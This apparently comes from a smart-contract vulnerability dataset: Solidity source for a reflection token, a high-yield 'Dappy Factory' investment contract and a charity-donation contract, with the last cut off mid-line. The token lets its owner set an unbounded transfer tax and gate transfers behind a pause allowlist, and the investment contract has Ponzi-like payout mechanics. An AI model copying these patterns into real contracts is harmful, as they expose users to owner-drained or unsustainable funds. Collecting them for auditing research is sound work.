let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LiquidSwap is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Liquid Swap';
string private constant _symbol = 'LQD';
uint256 private _taxFee = 100;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x78A38064d8D494089bff8278AC5Bf94fedeDE54f, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 314,092 | 11,335 |
36aab14945dce603085a152769e54b8d8d51a183a1b5325bb8caf6b7fb2cf0bc
| 12,549 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/14/14EC6C1858a29e72352f030BA085A2c862038325_Factory.sol
| 3,415 | 11,986 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract Factory {
using SafeMath for uint256;
string public name = "Dappy Factory";
uint256 constant public ADMIN_FEE = 20; //2%
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public DEPOSIT_MIN_AMOUNT;
uint256 public DEPOSIT_MAX_AMOUNT;
uint256 public PUBLISH_FEE;
struct Investor {
uint256 principle;
uint256 position;
uint256 checkpoint;
uint256 withdrawn;
uint256 overdraw;
}
struct Dappy {
address owner;
uint256 start;
uint256 hedge;
uint256 rate;
uint256 ownerFee;
string title;
string description;
string accent;
bool theme;
}
Dappy[] internal dappys;
mapping(uint256 => mapping(address => Investor)) private investors;
mapping(uint256 => mapping(address => uint256)) private allowances;
mapping(uint256 => uint256) private balances;
mapping(address => uint256) private discounts;
address payable public admin;
constructor(uint256 networkMinimum) {
//set admin
admin = payable(msg.sender);
//set discount
setDiscount(admin, 1000);
//calibrate for destination network
DEPOSIT_MIN_AMOUNT = networkMinimum;
DEPOSIT_MAX_AMOUNT = DEPOSIT_MIN_AMOUNT.mul(1000);
PUBLISH_FEE = DEPOSIT_MIN_AMOUNT.mul(2000);
}
modifier exists(uint256 atIndex) {
require(atIndex < dappys.length, "Dappy at index does not exist.");
_;
}
modifier onlyOwner(uint256 atIndex) {
require(getDappy(atIndex).owner == msg.sender, "Not authorized.");
_;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Not authorized.");
_;
}
function publish(uint256 start,
uint256 hedge,
uint256 rate,
uint256 fee,
string memory title,
string memory description,
string memory accent,
bool theme)
public
payable
{
//validate fee
uint256 publishFee = getPublishFee(msg.sender);
//validate payment
require(msg.value == publishFee, "Incorrect publish fee paid.");
//validate parameters
require(start >= block.timestamp, "Invalid parameter: start (start cannot be < now).");
require(hedge >= 510, "Invalid parameter: hedge (minimum is 510).");
require(hedge <= 1000, "Invalid parameter: hedge (maximum is 1000).");
require(rate >= 1, "Invalid parameter: rate (minimum is 1).");
require(rate <= 100, "Invalid parameter: rate (maximum is 100).");
require(fee >= 0, "Invalid parameter: fee (minimum is 0).");
require(fee <= 100, "Invalid parameter: fee (maximum is 100).");
//pay admin
admin.transfer(publishFee);
//publish dappy
dappys.push(Dappy(msg.sender, start, hedge, rate, fee, title, description, accent, theme));
}
function invest(uint256 atIndex) public payable exists(atIndex) {
require(msg.value >= DEPOSIT_MIN_AMOUNT, "Minimum deposit amount is 0.01");
require(msg.value <= DEPOSIT_MAX_AMOUNT, "Maximum deposit amount is 1000");
//if outstanding rewards
uint256 rewards = calculateRewards(atIndex, msg.sender);
if(rewards > 0) { compound(atIndex); }
//dappy ref
Dappy memory dappy = getDappy(atIndex);
//owner fee
uint256 fee1 = msg.value.mul(dappy.ownerFee).div(PERCENTS_DIVIDER);
address payable owner = payable(dappy.owner);
owner.transfer(fee1);
//admin fee
uint256 fee2 = msg.value.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
admin.transfer(fee2);
//deposit amount
uint256 NETamount = msg.value.sub(fee1).sub(fee2);
//investor
Investor storage investor = investors[atIndex][msg.sender];
investor.principle = investor.principle.add(NETamount);
investor.position = investor.position.add(NETamount);
investor.checkpoint= block.timestamp;
//balances
balances[atIndex] = balances[atIndex].add(NETamount);
//allowances
uint256 hedgeAmount = NETamount.mul(dappy.hedge).div(PERCENTS_DIVIDER);
uint256 newAllowance= getAllowance(atIndex, owner).add(NETamount.sub(hedgeAmount));
setAllowance(atIndex, owner, newAllowance);
}
function compound(uint256 atIndex) public exists(atIndex) {
//get rewards
uint256 rewards = calculateRewards(atIndex, msg.sender);
require(rewards > 0, "No rewards.");
//investor
Investor storage investor = investors[atIndex][msg.sender];
investor.position = investor.position.add(rewards);
investor.checkpoint = block.timestamp;
//dappy ref
Dappy memory dappy = getDappy(atIndex);
//overdraw
if(investor.withdrawn < investor.principle) {
investor.overdraw = investor.overdraw > 0 ? investor.overdraw.sub(dappy.rate.div(10)) : 0;
}
}
function withdraw(uint256 atIndex) public exists(atIndex) {
//get rewards
uint256 rewards = calculateRewards(atIndex, msg.sender);
require(rewards > 0, "No rewards.");
//balance?
if(rewards > balances[atIndex]) {
rewards = balances[atIndex];
}
//admin fee
uint256 fee = rewards.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
admin.transfer(fee);
//rewards amount
uint256 NETamount = rewards.sub(fee);
//investor
Investor storage investor = investors[atIndex][msg.sender];
investor.checkpoint= block.timestamp;
investor.withdrawn = investor.withdrawn.add(NETamount);
//dappy ref
Dappy memory dappy= getDappy(atIndex);
//overdraw
investor.overdraw = investor.overdraw < dappy.rate.sub(dappy.rate.div(10)) ? investor.overdraw.add(dappy.rate.div(10)) : investor.overdraw;
//balances
balances[atIndex] = balances[atIndex].sub(rewards);
//allowance
address owner = dappy.owner;
uint256 hedgeAmount = NETamount.mul(dappy.hedge).div(PERCENTS_DIVIDER);
uint256 allowance = getAllowance(atIndex, owner);
//workaround of subtraction overflow
if(allowance >= NETamount.sub(hedgeAmount)) {
allowance = allowance.sub(NETamount.sub(hedgeAmount));
} else {
allowance = 0;
}
setAllowance(atIndex, owner, allowance);
//transfer
payable(msg.sender).transfer(NETamount);
}
function calculateRewards(uint256 atIndex, address atAddress) public view exists(atIndex) returns (uint256 result) {
Dappy memory dappy = getDappy(atIndex);
//is started?
if(block.timestamp < dappy.start) return 0;
//if started? continue
Investor memory investor = getInvestor(atIndex, atAddress);
uint256 rate = dappy.rate;
uint256 checkpoint= investor.checkpoint;
uint256 position = investor.position;
uint256 overdraw = investor.overdraw;
//has checkpoint?
if(checkpoint == 0) return 0;
//period
uint256 from = checkpoint > dappy.start ? checkpoint : dappy.start;
uint256 period = block.timestamp.sub(from);
uint256 periodDays= period.div(TIME_STEP);
//overdraw penalty
uint256 penalties = overdraw;
//hoarding penalty
uint256 perPeriod;
for (uint256 i = 0; i < periodDays; i++) {
perPeriod = perPeriod.add(position.mul(rate.sub(penalties)).div(PERCENTS_DIVIDER));
penalties = penalties < dappy.rate.sub(dappy.rate.div(10)) ? penalties.add(dappy.rate.div(10)) : penalties;
}
//returns
result = perPeriod;
}
function calculatePenalties(uint256 atIndex, address atAddress) public view returns (uint256 result) {
Dappy memory dappy = getDappy(atIndex);
//is started?
if(block.timestamp < dappy.start) return 0;
//investor
Investor memory investor = getInvestor(atIndex, atAddress);
uint256 checkpoint= investor.checkpoint;
uint256 overdraw = investor.overdraw;
//has checkpoint?
if(checkpoint == 0) return 0;
//period
uint256 from = checkpoint > dappy.start ? checkpoint : dappy.start;
uint256 period = block.timestamp.sub(from);
uint256 periodDays= period.div(TIME_STEP);
//overdraw penalty
uint256 penalties = overdraw;
for (uint256 i = 0; i < periodDays; i++) {
penalties = penalties < dappy.rate.sub(dappy.rate.div(10)) ? penalties.add(dappy.rate.div(10)) : penalties;
}
//returns
result = penalties;
}
function ownerWithdraw(uint256 atIndex, uint256 amount) public exists(atIndex) onlyOwner(atIndex) {
//validate amount
address atOwner = msg.sender;
require(amount <= getAllowance(atIndex, atOwner), "Amount exceeds allowance.");
//balances
balances[atIndex] = balances[atIndex].sub(amount);
//allowances
uint256 newAllowance= getAllowance(atIndex, atOwner).sub(amount);
setAllowance(atIndex, atOwner, newAllowance);
//transfer
payable(atOwner).transfer(amount);
}
function ownerDeposit(uint256 atIndex) public payable exists(atIndex) onlyOwner(atIndex) {
uint256 amount = msg.value;
address atOwner= msg.sender;
//balances
balances[atIndex] = balances[atIndex].add(amount);
//allowances
uint256 newAllowance= getAllowance(atIndex, atOwner).add(amount);
setAllowance(atIndex, atOwner, newAllowance);
}
function setAllowance(uint256 atIndex, address atAddress, uint256 toAmount) private exists(atIndex) {
allowances[atIndex][atAddress] = toAmount;
}
function setDiscount(address atAddress, uint256 toPercent) public onlyAdmin() {
discounts[atAddress] = toPercent;
}
function getDiscount(address atAddress) public view returns (uint256) {
return discounts[atAddress];
}
function getPublishFee(address atAddress) public view returns (uint256) {
uint256 fee = PUBLISH_FEE;
return fee.sub(fee.mul(getDiscount(atAddress)).div(PERCENTS_DIVIDER));
}
function getDappy(uint256 atIndex) public view returns (Dappy memory) {
return dappys[atIndex];
}
function getDappys() public view returns (Dappy[] memory) {
return dappys;
}
function getInvestor(uint256 atIndex, address atAddress) public view returns (Investor memory) {
return investors[atIndex][atAddress];
}
function getBalance(uint256 atIndex) public view returns (uint256) {
return balances[atIndex];
}
function getAllowance(uint256 atIndex, address atAddress) public view returns (uint256) {
return allowances[atIndex][atAddress];
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 317,038 | 11,336 |
e9a1b493b958ec0c7a7888866ad28ccf000ffd6e0e501d977ae991954bb0cbe0
| 17,894 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xaed206d6d77e34672721c4b0d2d42b6217658325.sol
| 3,862 | 13,976 |
pragma solidity ^0.4.18;
contract RDFDM {
//events relating to donation operations
//
event FiatCollectedEvent(uint indexed charity, uint usd, string ref);
event FiatToEthEvent(uint indexed charity, uint usd, uint eth);
event EthToFiatEvent(uint indexed charity, uint eth, uint usd);
event FiatDeliveredEvent(uint indexed charity, uint usd, string ref);
event EthDonationEvent(uint indexed charity, uint eth);
//events relating to adding and deleting charities
//
event CharityAddedEvent(uint indexed charity, string name, uint8 currency);
event CharityModifiedEvent(uint indexed charity, string name, uint8 currency);
//currencies
//
uint constant CURRENCY_USD = 0x01;
uint constant CURRENCY_EURO = 0x02;
uint constant CURRENCY_NIS = 0x03;
uint constant CURRENCY_YUAN = 0x04;
struct Charity {
uint fiatBalanceIn; // funds in external acct, collected fbo charity
uint fiatBalanceOut; // funds in external acct, pending delivery to charity
uint fiatCollected; // total collected since dawn of creation
uint fiatDelivered; // total delivered since dawn of creation
uint ethDonated; // total eth donated since dawn of creation
uint ethCredited; // total eth credited to this charity since dawn of creation
uint ethBalance; // current eth balance of this charity
uint fiatToEthPriceAccEth; // keep track of fiat to eth conversion price: total eth
uint fiatToEthPriceAccFiat; // keep track of fiat to eth conversion price: total fiat
uint ethToFiatPriceAccEth; // kkep track of eth to fiat conversion price: total eth
uint ethToFiatPriceAccFiat; // kkep track of eth to fiat conversion price: total fiat
uint8 currency; // fiat amounts are in smallest denomination of currency
string name; // eg. "Salvation Army"
}
uint public charityCount;
address public owner;
address public manager;
address public token; //token-holder fees sent to this address
address public operatorFeeAcct; //operations fees sent to this address
mapping (uint => Charity) public charities;
bool public isLocked;
modifier ownerOnly {
require(msg.sender == owner);
_;
}
modifier managerOnly {
require(msg.sender == owner || msg.sender == manager);
_;
}
modifier unlockedOnly {
require(!isLocked);
_;
}
//
//constructor
//
function RDFDM() public {
owner = msg.sender;
manager = msg.sender;
token = msg.sender;
operatorFeeAcct = msg.sender;
}
function lock() public ownerOnly { isLocked = true; }
function setToken(address _token) public ownerOnly unlockedOnly { token = _token; }
function setOperatorFeeAcct(address _operatorFeeAcct) public ownerOnly { operatorFeeAcct = _operatorFeeAcct; }
function setManager(address _manager) public managerOnly { manager = _manager; }
function deleteManager() public managerOnly { manager = owner; }
function addCharity(string _name, uint8 _currency) public managerOnly {
charities[charityCount].name = _name;
charities[charityCount].currency = _currency;
CharityAddedEvent(charityCount, _name, _currency);
++charityCount;
}
function modifyCharity(uint _charity, string _name, uint8 _currency) public managerOnly {
require(_charity < charityCount);
charities[_charity].name = _name;
charities[_charity].currency = _currency;
CharityModifiedEvent(_charity, _name, _currency);
}
//======== basic operations
function fiatCollected(uint _charity, uint _fiat, string _ref) public managerOnly {
require(_charity < charityCount);
charities[_charity].fiatBalanceIn += _fiat;
charities[_charity].fiatCollected += _fiat;
FiatCollectedEvent(_charity, _fiat, _ref);
}
function fiatToEth(uint _charity, uint _fiat) public managerOnly payable {
require(token != 0);
require(_charity < charityCount);
//keep track of fiat to eth conversion price
charities[_charity].fiatToEthPriceAccFiat += _fiat;
charities[_charity].fiatToEthPriceAccEth += msg.value;
charities[_charity].fiatBalanceIn -= _fiat;
uint _tokenCut = (msg.value * 4) / 100;
uint _operatorCut = (msg.value * 16) / 100;
uint _charityCredit = (msg.value - _operatorCut) - _tokenCut;
operatorFeeAcct.transfer(_operatorCut);
token.transfer(_tokenCut);
charities[_charity].ethBalance += _charityCredit;
charities[_charity].ethCredited += _charityCredit;
FiatToEthEvent(_charity, _fiat, msg.value);
}
function ethToFiat(uint _charity, uint _eth, uint _fiat) public managerOnly {
require(_charity < charityCount);
require(charities[_charity].ethBalance >= _eth);
//keep track of fiat to eth conversion price
charities[_charity].ethToFiatPriceAccFiat += _fiat;
charities[_charity].ethToFiatPriceAccEth += _eth;
charities[_charity].ethBalance -= _eth;
charities[_charity].fiatBalanceOut += _fiat;
//withdraw funds to the caller
msg.sender.transfer(_eth);
EthToFiatEvent(_charity, _eth, _fiat);
}
function fiatDelivered(uint _charity, uint _fiat, string _ref) public managerOnly {
require(_charity < charityCount);
require(charities[_charity].fiatBalanceOut >= _fiat);
charities[_charity].fiatBalanceOut -= _fiat;
charities[_charity].fiatDelivered += _fiat;
FiatDeliveredEvent(_charity, _fiat, _ref);
}
//======== unrelated to round-up
function ethDonation(uint _charity) public payable {
require(token != 0);
require(_charity < charityCount);
uint _tokenCut = (msg.value * 1) / 200;
uint _operatorCut = (msg.value * 3) / 200;
uint _charityCredit = (msg.value - _operatorCut) - _tokenCut;
operatorFeeAcct.transfer(_operatorCut);
token.transfer(_tokenCut);
charities[_charity].ethDonated += _charityCredit;
charities[_charity].ethBalance += _charityCredit;
charities[_charity].ethCredited += _charityCredit;
EthDonationEvent(_charity, msg.value);
}
//======== combo operations
function fiatCollectedToEth(uint _charity, uint _fiat, string _ref) public managerOnly payable {
require(token != 0);
require(_charity < charityCount);
charities[_charity].fiatCollected += _fiat;
//charities[_charity].fiatBalanceIn does not change, since we immediately convert to eth
//keep track of fiat to eth conversion price
charities[_charity].fiatToEthPriceAccFiat += _fiat;
charities[_charity].fiatToEthPriceAccEth += msg.value;
uint _tokenCut = (msg.value * 4) / 100;
uint _operatorCut = (msg.value * 16) / 100;
uint _charityCredit = (msg.value - _operatorCut) - _tokenCut;
operatorFeeAcct.transfer(_operatorCut);
token.transfer(_tokenCut);
charities[_charity].ethBalance += _charityCredit;
charities[_charity].ethCredited += _charityCredit;
FiatCollectedEvent(_charity, _fiat, _ref);
FiatToEthEvent(_charity, _fiat, msg.value);
}
function ethToFiatDelivered(uint _charity, uint _eth, uint _fiat, string _ref) public managerOnly {
require(_charity < charityCount);
require(charities[_charity].ethBalance >= _eth);
//keep track of fiat to eth conversion price
charities[_charity].ethToFiatPriceAccFiat += _fiat;
charities[_charity].ethToFiatPriceAccEth += _eth;
charities[_charity].ethBalance -= _eth;
//charities[_charity].fiatBalanceOut does not change, since we immediately deliver
//withdraw funds to the caller
msg.sender.transfer(_eth);
EthToFiatEvent(_charity, _eth, _fiat);
charities[_charity].fiatDelivered += _fiat;
FiatDeliveredEvent(_charity, _fiat, _ref);
}
//note: constant fcn does not need safe math
function divRound(uint256 _x, uint256 _y) pure internal returns (uint256) {
uint256 z = (_x + (_y / 2)) / _y;
return z;
}
function quickAuditEthCredited(uint _charityIdx) public constant returns (uint _fiatCollected,
uint _fiatToEthNotProcessed,
uint _fiatToEthProcessed,
uint _fiatToEthPricePerEth,
uint _fiatToEthCreditedSzabo,
uint _fiatToEthAfterFeesSzabo,
uint _ethDonatedSzabo,
uint _ethDonatedAfterFeesSzabo,
uint _totalEthCreditedSzabo,
int _quickDiscrepancy) {
require(_charityIdx < charityCount);
Charity storage _charity = charities[_charityIdx];
_fiatCollected = _charity.fiatCollected; //eg. $450 = 45000
_fiatToEthNotProcessed = _charity.fiatBalanceIn; //eg. 0
_fiatToEthProcessed = _fiatCollected - _fiatToEthNotProcessed; //eg. 45000
if (_charity.fiatToEthPriceAccEth == 0) {
_fiatToEthPricePerEth = 0;
_fiatToEthCreditedSzabo = 0;
} else {
_fiatToEthPricePerEth = divRound(_charity.fiatToEthPriceAccFiat * (1 ether), //eg. 45000 * 10^18 = 45 * 10^21
_charity.fiatToEthPriceAccEth); //eg 1.5 ETH = 15 * 10^17
// --------------------
// 3 * 10^4 (30000 cents per ether)
uint _szaboPerEth = 1 ether / 1 szabo;
_fiatToEthCreditedSzabo = divRound(_fiatToEthProcessed * _szaboPerEth, //eg. 45000 * 1,000,000 / 30000 = 1,500,000 (szabo)
_fiatToEthPricePerEth);
_fiatToEthAfterFeesSzabo = divRound(_fiatToEthCreditedSzabo * 8, 10); //eg. 1,500,000 * 8 / 10 = 1,200,000 (szabo)
}
_ethDonatedSzabo = divRound(_charity.ethDonated, 1 szabo); //eg. 1 ETH = 1 * 10^18 / 10^12 = 1,000,000 (szabo)
_ethDonatedAfterFeesSzabo = divRound(_ethDonatedSzabo * 98, 100); //eg. 1,000,000 * 98/100 = 980,000 (szabo)
_totalEthCreditedSzabo = _fiatToEthAfterFeesSzabo + _ethDonatedAfterFeesSzabo; //eg 1,200,000 + 980,000 = 2,180,000 (szabo)
uint256 tecf = divRound(_charity.ethCredited, 1 szabo); //eg. 2180000000000000000 * (10^-12) = 2,180,000
_quickDiscrepancy = int256(_totalEthCreditedSzabo) - int256(tecf); //eg. 0
}
//note: contant fcn does not need safe math
function quickAuditFiatDelivered(uint _charityIdx) public constant returns (uint _totalEthCreditedSzabo,
uint _ethNotProcessedSzabo,
uint _processedEthCreditedSzabo,
uint _ethToFiatPricePerEth,
uint _ethToFiatCreditedFiat,
uint _ethToFiatNotProcessed,
uint _ethToFiatProcessed,
uint _fiatDelivered,
int _quickDiscrepancy) {
require(_charityIdx < charityCount);
Charity storage _charity = charities[_charityIdx];
_totalEthCreditedSzabo = divRound(_charity.ethCredited, 1 szabo); //eg. 2180000000000000000 * (10^-12) = 2,180,000
_ethNotProcessedSzabo = divRound(_charity.ethBalance, 1 szabo); //eg. 1 ETH = 1 * 10^18 / 10^12 = 1,000,000 (szabo)
_processedEthCreditedSzabo = _totalEthCreditedSzabo - _ethNotProcessedSzabo; //eg 1,180,000 szabo
if (_charity.ethToFiatPriceAccEth == 0) {
_ethToFiatPricePerEth = 0;
_ethToFiatCreditedFiat = 0;
} else {
_ethToFiatPricePerEth = divRound(_charity.ethToFiatPriceAccFiat * (1 ether), //eg. 35400 * 10^18 = 3540000 * 10^16
